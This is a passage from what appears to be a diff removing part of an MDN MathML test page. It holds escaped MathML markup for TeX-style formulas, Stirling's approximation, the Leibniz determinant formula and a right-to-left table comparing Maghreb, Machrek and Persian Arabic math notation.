- &lt;td&gt;26&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4583/=ex7.png" width="90" height="23" alt="TeXbook, 16.4-16.5" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;92&lt;/mn&gt;
- &lt;mn&gt;31415&lt;/mn&gt;
- &lt;/msubsup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;27&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4584/=ex8.png" width="27" height="36" alt="TeXbook, 16.4-16.5" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;z&lt;/mi&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;28&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://developer.mozilla.org/@api/deki/files/4585/=ex9.png" width="24" height="22" alt="TeXbook, 16.4-16.5" /&gt;&lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;mo&gt;&amp;#x2034;&lt;/mo&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;29&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/13402/stirling29.png" width="194" height="58" alt="Stirling's approximation" /&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;munder&gt;&lt;mo lspace="0em" rspace="0em"&gt;lim&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;→&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;∞&lt;/mn&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mfrac&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;!&lt;/mo&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mfrac&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;30&lt;/td&gt;
- &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/13438/determinant30.png" width="194" height="58" alt="Leibniz formula for the determinant" /&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo lspace="0em" rspace="0em"&gt;det&lt;/mo&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munder&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo&gt;∊&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mrow&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;munderover&gt;&lt;mo&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/munderover&gt;&lt;msub&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;
-&lt;br&gt;&lt;br&gt;
-&lt;table dir="rtl"&gt;
- &lt;tr&gt;
- &lt;td&gt;&lt;/td&gt;
- &lt;th scope="col"&gt;Maghreb Style&lt;/th&gt;
- &lt;th scope="col"&gt;Machrek Style&lt;/th&gt;
- &lt;th scope="col"&gt;Persian Style&lt;/th&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;1&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;2&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;!--
- &lt;mrow&gt;
- &lt;msub&gt;&lt;mi&gt;&lt;/mi&gt;&lt;mn&gt;٢&lt;/mn&gt;&lt;/msub&gt;
- &lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;٣&lt;/mn&gt;&lt;/msub&gt;
- &lt;/mrow&gt;
- --&gt;
- &lt;mrow&gt;
- &lt;mmultiscripts&gt;
- &lt;mi&gt;F&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;&lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;mn&gt;٢&lt;/mn&gt;&lt;none/&gt;
- &lt;/mmultiscripts&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;!--
- &lt;mrow&gt;
- &lt;msub&gt;&lt;mi&gt;&lt;/mi&gt;&lt;mn&gt;٢&lt;/mn&gt;&lt;/msub&gt;
- &lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;٣&lt;/mn&gt;&lt;/msub&gt;
- &lt;/mrow&gt;
- --&gt;
- &lt;mrow&gt;
- &lt;mmultiscripts&gt;
- &lt;mi&gt;F&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;&lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;mn&gt;٢&lt;/mn&gt;&lt;none/&gt;
- &lt;/mmultiscripts&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;!--
- &lt;mrow&gt;
- &lt;msub&gt;&lt;mi&gt;&lt;/mi&gt;&lt;mn&gt;۲&lt;/mn&gt;&lt;/msub&gt;
- &lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;۳&lt;/mn&gt;&lt;/msub&gt;
- &lt;/mrow&gt;
- --&gt;
- &lt;mrow&gt;
- &lt;mmultiscripts&gt;
- &lt;mi&gt;F&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;&lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;mn&gt;۲&lt;/mn&gt;&lt;none/&gt;
- &lt;/mmultiscripts&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;3&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;4&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;msup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/msup&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;5&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mfrac&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;6&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mstyle displaystyle="true" scriptlevel="0"&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۴&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;7&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mn&gt;۴&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;8&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mmultiscripts&gt;
- &lt;mo&gt;ل&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;none/&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mmultiscripts&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mmultiscripts&gt;
- &lt;mo&gt;ل&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;none/&gt;
- &lt;mprescripts/&gt;
- &lt;none/&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mmultiscripts&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mfrac linethickness="0px"&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mfrac&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;9&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mrow&gt;
